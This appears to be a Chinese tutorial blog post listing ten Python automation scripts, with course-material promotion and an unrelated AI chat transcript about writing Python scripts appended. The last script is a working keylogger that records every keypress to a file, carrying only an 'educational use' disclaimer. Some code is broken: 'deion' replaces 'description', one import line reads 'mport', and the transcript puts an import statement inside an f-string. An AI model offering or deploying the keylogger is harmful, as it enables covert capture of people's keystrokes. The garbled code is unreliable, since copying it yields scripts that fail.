python写的脚本怎么用,用python怎么写脚本

部署运行你感兴趣的模型镜像

本篇文章给大家谈谈python写的脚本怎么用,以及用python怎么写脚本,希望对各位有所帮助,不要忘了收藏本站喔。

前言

为您的日常任务提供自动化解决方案。

在这里插入图片描述

每天,我们需要执行许多任务和项目,有时候这些任务有些枯燥乏味、耗时费力,使用自动化机器人来节省时间会更好python一级证书有用吗。我指的是一些任务,比如检查每日天气更新、编辑照片、下载Google照片、校对、发送大量电子邮件等等。

在本文中,我将向您展示10个用Python编写的自动化脚本。那么,你还在等什么呢?将这篇文章标记在你的清单上,让我们开始吧!

【----帮助Python学习,以下所有学习资料文末免费领!----】

自动化是好的,只要你知道在哪里放置这台机器

Eliyahu Goldratt

1、Python校对器

需要通过编程方式校对你的文件吗?那么使用这个方便的脚本吧。这个Python脚本使用Gingerit模块,它是Ginger语法检查器的包装器。这个脚本将扫描你的文本,检查语法和拼写错误,并给你一个校对后的文本。

# Python Proofreader
# 通过 pip install gingerit 安装所需模块
from gingerit.gingerit import GingerIt 

# 定义一个名为 Proofreader 的函数,传入参数 text
def Proofreader(text):
    # 创建 GingerIt 实例
    grammarly = GingerIt()
    # 调用 parse 方法,返回校对后的文本
    scan = grammarly.parse(text)
    # 输出原文本
    print("原始文本: ", text)
    # 输出校对后的文本
    print("校对后文本: ", scan['result'])

# 调用 Proofreader 函数,传入文本 "I can't believe it's butter"
Proofreader("I can;t beleive it's butter")

# 输出格式化的结果:
# 原始文本: I can;t beleive it's butter
# 校对后文本: I can't believe it's butter

注:此库也支持中文,建议用来校正英文

2、每日天气预报更新

如果您需要在桌面上自动获取每日天气预报更新,那么这个自动化脚本将非常方便。它使用免费的天气预报 API 和 Request 模块获取任何城市的天气更新信息,如温度、湿度、天气情况等。

# Get Weather Updates
# pip install requests
import requests

def get_weather(city):
    url = "https://api.openweathermap.org/data/2.5/weather"
    params = {
        "q": city,
        "appid": "YOUR_API_KEY",
    }
    r = requests.get(url, params=params)
    result = r.json()
    print("city: ", city)
    print("temp: ", result["main"]["temp"])
    print("humidity: ", result["main"]["humidity"])
    print("pressure: ", result["main"]["pressure"])
    print("weather: ", result["weather"][0]["main"])
    print("deion: ", result["weather"][0]["deion"])

if __name__ == "__main__":
    get_weather("New York")

3、图片编辑

使用这个方便的自动化脚本,在Python中创建自己的迷你Photoshop,它使用了著名的Pillow模块,该模块以其图像处理功能而闻名。这个自动化脚本可以让您对图片进行裁剪、缩放、添加滤镜、模糊处理等等。

当您需要编辑大量照片或在项目中需要一些帮助时,这个方便的脚本会非常有用。

# Edit your Photos
# pip install Pillow
from PIL import Image as img

# 加载图片
pic = img.open("image.jpg")

# 缩放图片
pic = pic.resize((30, 30))

# 裁剪图片
pic = pic.crop((0, 0, 100, 100))

# 翻转图片
pic = pic.transpose(img.FLIP_LEFT_RIGHT)

# 旋转图片
pic = pic.rotate(45)

# 模糊图片
pic = pic.filter(img.BLUR)

# 锐化图片
pic = pic.filter(img.SHARPEN)

# 将图片转换为灰度图
pic = pic.convert("L")

# 添加滤镜
pic = pic.filter(img.CONTOUR)

# 对图片进行变换
pic = pic.transform((100, 100), img.EXTENT, (0, 0, 100, 100))

# 显示图片
pic.show()

# 保存图片
pic.save("image.jpg")

4、文件压缩器

这是一个文件压缩的自动化脚本,可以让你将大型文件压缩成小型文件。它使用了Py7zr模块,该模块可以将文件作为参数进行压缩,并返回压缩后的文件。如果你有需要压缩的文件,这个脚本会非常有用。

# Files Compressor
# pip install py7zr
import py7zr as zipper
def File_Compressor(files):
    with zipper.SevenZipFile('compressed.7z', 'w') as z:
        for file in files:
            z.write(file)
    print("Compressed")
File_Compressor(["data1.pdf", "data2.png"])

5、 Google图片下载器

想要从谷歌搜索引擎下载大量图片吗?那么你不需要手动下载,可以使用以下自动化脚本来下载任意数量的谷歌图片。

这个脚本非常有用,可以让程序员以编程方式批量下载不同查询的照片。

# Google Images Downloader
# pip instal requests
# pip install bs4
mport requests
from bs4 import BeautifulSoup
import os
def download_images(query, num_images):
    url = "https://www.google.com/search?q="+query+"&tbm=isch"
    r = requests.get(url)
    soup = BeautifulSoup(r.text, 'html.parser')
    img_tags = soup.find_all('img')
    
    count = 0
    for imgs in img_tags:
        if count == num_images:
            break
        image_url = imgs['src']
        r = requests.get(image_url)
        with open(f"image_{count}.jpg", "wb") as f:
            f.write(r.content)
            print("Downloaded "+image_url)
            count += 1
download_images("mountains", 10)

6、Docx 解析器

想要使用 Python 读取和写入 Docx 文件,那么这个自动化脚本可以帮助你。它使用了 Python-docx 模块,可以帮助你读取、写入和修改 Docx 文件。

这个脚本非常方便,可以帮助你读取大量的 Docx 文件,或在项目中获得一些帮助。

# Docx 解析器
# pip install python-docx
import docx as msdoc

# 读取文档
doc = msdoc.Document('test.docx')

# 获取段落数
print(len(doc.paragraphs))

# 获取特定段落
print(doc.paragraphs[0].text)

# 获取所有段落
data = []
for para in doc.paragraphs:
    data.append(para.text)

# 获取所有表格
tables = []
for table in doc.tables:
    for row in table.rows:
        for cell in row.cells:
            tables.append(cell.text)

# 写入文档
doc = msdoc.Document()
doc.add_paragraph('你好,世界!')

# 添加表格
table = doc.add_table(rows=1, cols=3)
hdr_cells = table.rows[0].cells
hdr_cells[0].text = '数量'
hdr_cells[1].text = '编号'
hdr_cells[2].text = '描述'

# 保存文档
doc.save('test.docx')

7、PDF 转文本

这个自动化脚本的设计目的是从 PDF 文件中提取文本。该脚本使用 Textract 模块,只需要几行代码即可获取完整的 PDF 文件。

当你需要一次获取多个 PDF 文件而不是一个一个地处理时,这个脚本非常有用。

# PDF 转文本
# pip install textract
import textract

def PDF_to_Text(pdf_file):
    # 提取文本
    text = textract.process(pdf_file)
    # 解码为 utf-8 编码
    text = text.decode('utf-8')
    # 输出文本
    print(text)

PDF_to_Text("example.pdf")

如果批量处理PDF,可以这样:

# PDF to Text Converter for batch processing
# pip install textract
import os
import textract

def PDF_to_Text(pdf_file):
    text = textract.process(pdf_file)
    text = text.decode('utf-8')
    print(text)

# set the directory containing PDF files
pdf_dir = 'pdf_directory'

# loop through all PDF files in the directory and convert them to text
for filename in os.listdir(pdf_dir):
    if filename.endswith('.pdf'):
        pdf_file = os.path.join(pdf_dir, filename)
        print('Converting:', pdf_file)
        PDF_to_Text(pdf_file)

在上述代码中,将PDF文件所在目录路径存储在变量pdf_dir中。然后使用os.listdir函数列出目录中的所有文件,并用if filename.endswith(‘.pdf’)筛选出PDF文件。接下来,将PDF文件路径存储在变量pdf_file中,并在控制台输出正在转换的PDF文件名。最后,将PDF文件路径传递给PDF_to_Text函数来转换为文本。

8、图片转视频

这个自动化脚本可以将你的图片转换成视频格式。该脚本使用了Moviepy模块,它会将图片列表作为参数,然后使用其函数将你的图片转换为视频。以下是示例代码。

# Images to Video 
# pip install moviepy
from moviepy.editor import *
def make_video(images_list):
    clip = ImageSequenceClip(images_list, fps=1)
    clip.write_videofile("video.mp4")
    print("Video Created")
make_video(["img1.jpg", "img2.jpg", "img3.jpg"])

9、自定义Tkinter GUI

这个Python脚本将展示如何使用Customtkinter模块来设计和开发美观的GUI程序,让你更进一步地掌握Python Tkinter包的使用。

# Tkinter GUI
# pip install customtkinter
import tkinter 
import customtkinter as customtk

customtk.set_appearance_mode("System")
customtk.set_default_color_theme("blue")

root = customtk.CTk()

# 设置GUI标题
root.title("Tkinter GUI")

# 设置GUI窗口大小
root.geometry("500x500")

# 使用按钮
btn = customtk.CTkButton(master=root, text="Click Me")
btn.place(x=100, y=100)

# 使用文本标签
lbl = customtk.CTkLabel(master=root, text="Hello World")
lbl.place(x=100, y=200)

# 使用输入框
entry = customtk.CTkEntry(master=root)
entry.place(x=100, y=300)

# 使用复选框
check = customtk.CTkCheckBox(master=root, text="Check Me")
check.place(x=100, y=400)

# 使用单选框
radio = customtk.CTkRadioButton(master=root, text="Radio Me")

# 多行文本
text = customtk.CTkTextbox(master=root)
text.place(x=100, y=500)

# 滚动条
scroll = customtk.CTkScrollbar(master=root)
scroll.place(x=100, y=600)

# 运行应用
root.mainloop()

10、制作键盘记录器

这是一个使用 Python 编写的简单键盘记录器,使用 Keyboard 模块可以记录您按下的每个按键并将它们存储在 TXT 文件中。

注意:本脚本仅用于教育目的,请正确使用

# Make Keylogger
# pip install keyboard
import keyboard
import time

log = "keylogger.txt"

# 定义键盘事件处理函数
def on_key_press(event):
    with open(log, "a") as f:
        f.write(f"{event.name} {time.time()}\n")

# 注册键盘事件监听器
keyboard.on_press(on_key_press)

# 无限循环等待键盘事件
while True:
    pass

结束

很高兴你喜欢这篇文章并对自动化脚本感到有趣和有用。在文章结尾,我想提醒您,文章的创作不易,如果您喜欢我的分享,请别忘了点赞和转发,让更多有需要的人看到。

以下是我整理的一些提升程序员自身能力的资料,都已经整理并打包好了。

Python入门全套学习资料附带源码:

学习编程前准备

img

全套软件安装包

附带完整的安装包的安装视频教程资源(新手大礼包已备好)

img

整套零基础入门视频+课件笔记

img

👉实战案例👈

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
在这里插入图片描述

👉100道Python练习题👈

检查学习结果。

👉面试刷题👈

在这里插入图片描述

总结

好啦,这就是今天的内容,入门知识点资料免费发送的哈,想要的小伙伴儿不要错过,带你直

接弯道超车,少走一大波弯路,准备好了嘛?!我们要开始学习一项编程技术啦!

资料领取

上述这份完整版的Python全套学习资料已经上传网盘,朋友们如果需要可以微信扫描下方二维码输入“领取资料” 即可自动领取
或者
点此链接】领取

好文推荐

了解python的前景:python的未来前景,超详细根据好多资料总结出来的_程序员要具备哪些专业知识-优快云博客

了解python的兼职:python副业介绍以及渠道推荐,接单注意事项_程序员到什么水平可以接外快-优快云博客

您可能感兴趣的与本文相关的镜像

Qwen-Image-Edit-2509

Qwen-Image-Edit-2509

图片编辑
Qwen

Qwen-Image-Edit-2509 是阿里巴巴通义千问团队于2025年9月发布的最新图像编辑AI模型,主要支持多图编辑,包括“人物+人物”、“人物+商品”等组合玩法

<think>首先,用户的问题是:“我想获取使用Python脚本的方法 请问Python脚本方法”。这翻译成“我想了解使用Python脚本的方法,请问Python脚本方法”。 我需要基于之前的引用回答问题。用户提供了几个引用: - 引用[1]:关于Python脚本课程,包括安装、运行脚本、用户输入、异常处理、文件读、导入模块等。 - 引用[2]:在UNIX/LINUX中使用shebang(#!)让脚本像普通程序一样运行。 - 引用[3]:在CentOS 7上默认Python版本是2.7.X,以及如何第一个Python脚本。 - 引用[4]:一个示例脚本,使用#!/usr/bin/python开头,导入time模块打印本地时间。 - 引用[5]:一些资源链接,关于100个Python脚本和教程。 用户说这些引用仅供参考,不是真正的需求。我需要参考用户上一次的问题和我的回答。查看历史记录: - 系统级指令要求使用特定格式,如行内数学用$...$,独立公式用$$...$$,LaTeX正确,中文回答,生成相关问题。 - 用户上一次问题是关于Python脚本方法。 在对话历史中,用户首先发送了一个系统级指令,然后系统响应了一个示例关于快速排序。接着,用户提供了这些引用并问了这个问题。 系统上一次响应是那个快速排序示例,但那是系统生成的示例,不是针对用户问题的回答。用户现在的问题是新的。 所以,我需要直接回答用户的问题:Python脚本方法。 基于引用,我可以总结关键点: 1. **安装Python**:在引用[1]中提到安装Python 3。 2. **编脚本**:一个Python脚本是一个文本文件,通常以.py结尾。在UNIX/LINUX中使用shebang(#!/usr/bin/python),如引用[2]和[4]所示。 3. **基本结构**:脚本可以包含导入模块、变量定义、函数、逻辑等。例如,引用[4]中有一个简单的脚本导入time模块并打印时间。 4. **运行脚本**:在命令行中使用python script.py运行,或设置shebang并给予执行权限后直接运行。 5. **内容**:脚本可以处理用户输入、文件读、异常处理等,如引用[1]所述。 6. **环境**:在CentOS 7上默认是Python 2.7,但可以升级或使用Python 3,如引用[3]。 回答结构需要清晰,逐步解决问题。系统指令要求结构清晰、真实可靠。 大纲回答: - 介绍Python脚本是什么。 - 步骤编第一个脚本:安装Python、编脚本、运行脚本。 - 关键元素:shebang、导入模块、基本语法。 - 高级主题:用户交互、文件处理等。 - 结尾添加相关问题,如系统指令要求生成相关问题。 使用中文回答。 最后,添加引用标识。系统指令说:“回答中引用的段落末尾自然地添加引用标识,例如:[^1]”。所以,如果我引用特定内容,需要添加标识。但用户提供的引用是用户给的,我应该基于它们引用。 在回答中,当我提到从引用中获得的信息时,在末尾添加[^n]。 例如: - 在安装Python的部分,参考引用[1]。 - 在shebang部分,参考引用[2]和[4]。 - 在CentOS部分,参考引用[3]。 确保LaTeX语法正确。但Python脚本不涉及数学公式,所以可能不需要数学表达式,除非有变量或代码。 如果有方程或变量,用$...$,但这里可能没用到。例如,解释变量时用$x$,但脚本主要是代码。 在代码块中显示示例脚本。 系统指令要求:独立公式用$$...$$,但公式可能不适用。代码块用示例中的格式。 在示例中,系统用```python ... ```显示代码。 相关问题生成:在最后添加§§相关问题§§,然后列出几个问题。 相关问题示例: 1. 如何设置Python脚本的执行权限? 2. Python脚本中可以导入哪些类型的模块? 3. 如何处理Python脚本中的错误? 基于引用内容。 完整回答结构: 1. 开头介绍。 2. 步骤:安装、编、运行。 3. 示例脚本。 4. 高级提示。 5. 相关问题。 </think>### Python脚本方法 Python脚本是一种将Python代码入文本文件(通常以`.py`结尾)的方法,用于自动化任务、数据处理或应用程序开发。编Python脚本的核心包括基本语法、文件结构、运行方式和常见元素(如导入模块、处理输入输出)。下面我将基于您提供的引用[^1][^2][^3][^4],逐步解释Python脚本的方法,确保内容真实可靠。整个过程分为安装环境、编脚本、运行脚本和高级技巧四个部分。 #### 1. **安装Python环境** 在编脚本前,必须先安装PythonPython 3是当前推荐版本,因为它支持现代语法并修复了Python 2的遗留问题。在CentOS 7等Linux系统中,默认可能预装Python 2.7,但您可以手动安装Python 3。以下是步骤: - **下载和安装**:从[Python官网](https://www.python.org/downloads/)下载安装包,或使用包管理器(如在CentOS中运行`sudo yum install python3`)。 - **验证安装**:在终端运行`python3 --version`检查版本(应为Python 3.x)。 - **设置环境变量**:确保Python可执行文件路径(如`/usr/bin/python3`)添加到系统PATH中[^1][^3]。 #### 2. **编Python脚本** Python脚本是一个纯文本文件,包含Python代码。关键元素包括: - **文件结构**: - **Shebang行**:在脚本首行添加`#!/usr/bin/python3`(Linux/Unix系统),指定Python解释器路径。这允许脚本直接运行,无需显式调用`python`命令[^2][^4]。 - **编码声明**:添加`# -*- coding: UTF-8 -*-`以支持中文字符等Unicode文本(尤其在Python 2中需要)。 - **导入模块**:使用`import`语句引入标准库或第三方模块(如`import time`处理时间功能)。 - **主逻辑代码**:定义变量、函数、控制流(如循环和条件语句)。 - **基本语法规则**: - Python使用缩进(通常是4个空格)表示代码块,而不是大括号。 - 变量名区分大小(如`name`和`Name`不同)。 - 注释以`#`开头,用于解释代码意图。 - **示例第一个脚本**: 在CentOS 7上,您可以创建一个简单脚本。例如,创建一个文件`hello.py`,内容如下: ```python #!/usr/bin/python3 # -*- coding: UTF-8 -*- # 这是一个简单的Python脚本示例 name = input("请输入您的名字: ") # 与用户交互获取输入 print(f"你好, {name}! 当前时间是: {import time; time.asctime(time.localtime())}") ``` 此脚本导入`time`模块,打印用户输入和本地时间,演示了用户交互和模块使用[^4][^1]。 #### 3. **运行Python脚本** 运行脚本的方法取决于操作系统: - **命令行运行**: - 在终端中,导航到脚本目录,运行`python3 hello.py`(或在Windows中用`python hello.py`)。 - 如果设置了shebang并给予执行权限(在Linux中运行`chmod +x hello.py`),可直接运行`./hello.py`[^2][^4]。 - **处理输出和错误**: - 脚本会输出结果到终端(如打印消息)。 - 错误处理:使用`try-except`块捕获异常,例如: ```python try: num = int(input("输入一个数字: ")) print(10 / num) except ValueError: print("输入错误!") except ZeroDivisionError: print("不能除以零!") ``` 这确保脚本在无效输入时不会崩溃[^1]。 #### 4. **高级脚本技巧** 对于现实世界的应用,脚本应包含以下元素: - **文件读**:使用`open()`函数处理文件,例如读取或入数据。 ```python with open('data.txt', 'r', encoding='utf-8') as f: # 读取文件 content = f.read() print(content) ``` - **导入模块**: - **标准模块**:如`os`(操作系统交互)、`sys`(系统参数)。 - **第三方模块**:通过`pip install package-name`安装后导入(如`requests`处理HTTP请求)。 - **参数处理**:使用`sys.argv`获取命令行参数,例如: ```python import sys if len(sys.argv) > 1: print(f"参数: {sys.argv[1]}") ``` - **脚本优化**: - 模块化代码:将功能拆分为函数或类,提高重用性。 - 错误日志:使用`logging`模块记录错误信息。 - 兼容性:针对Python 2/3差异,使用工具如`2to3`进行迁移[^1][^5]。 #### 注意事项 - **Python 2 vs 3**:Python 2已于2020年停止支持,建议优先使用Python 3编脚本。在CentOS 7上,您可能需要手动安装Python 3以避免依赖问题[^3]。 - **资源推荐**:参考在线教程(如[Python官方文档](https://docs.python.org/)或优快云博客[^5])和示例脚本库(如“100个必会的Python脚本”)来学习更多实用技巧。 - 安全性:脚本中处理用户输入时,始终验证数据以防止注入攻击。 如果您已安装Python,尝试编一个简单脚本(如打印当前时间或计算简单数学问题),这将帮助您快速上手。需要更多具体示例吗?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值